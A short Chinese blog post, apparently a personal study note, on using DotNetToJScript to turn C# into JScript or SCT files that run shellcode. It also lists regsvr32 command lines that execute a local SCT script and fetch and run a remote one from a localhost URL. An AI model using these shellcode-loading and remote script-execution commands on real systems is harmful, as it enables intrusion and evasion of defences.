c#2js

c#2js

今天无意看到subTee Fork 了一个DotNetToJScript的库,一下起了兴趣,看库名就是好东西,结果发现真的是个神器啊

然后看了subTee的blog,就研究了一下

1
2
3
作用:将c# 转换为 js 调用底层api 运行shellcode ,简直不能再赞
缺点:只能在clr v2 里使用

DotNetToJScript 可以生成js,sct格式文件

不过几个参数我还没搞太懂,但也可以用了,英语太渣了

1
2
3
4
5
6
-n 生成js
-m 生成sct
-u 生成sct 一般常用这个
-o= 输出到一个文件
-c= 指定类明
-s= 使用附加脚本指定文件。创建实例(这一项不太懂)

test

我测试时只使用了几个命令

1
2
3
4
DotNetToJScript.exe -n xxx.dll >xxx.js 和
DotNetToJScript.exe -u xxx.dll >xxx.sct
wscript xxx.js
regsvr32 /s /u /i:xxx.sct scrobj.dll

效果图

效果很好 感觉世界都美起来了,然后又复习了一下regsvr32的常用知识

1
2
3
4
5
regsvr32 [/u] [/s] [/n] [/i[:cmdline]] dllname
/u - 解除服务器注册
/s - 无声;不显示消息框
/i - 调用 DllInstall,给其传递一个可选 [cmdline];跟/u一起使用时,卸载dll
/n - 不要调用DllRegisterServer;这个选项必须跟/i一起使用

1
2
3
4
5
执行本地脚本
regsvr32 /s /u /i:file.sct scrobj.dll
执行远程脚本
regsvr32 /s /n /u /i::http://127.0.0.1/2333.sct scrobj.dll

相关链接

1
2
3
4
5
https://gist.github.com/subTee/618d40aa4229581925eb9025429d8420
http://subt0x10.blogspot.hk/2017/04/using-dotnettojscript-working-example.html
https://github.com/tyranid/DotNetToJScript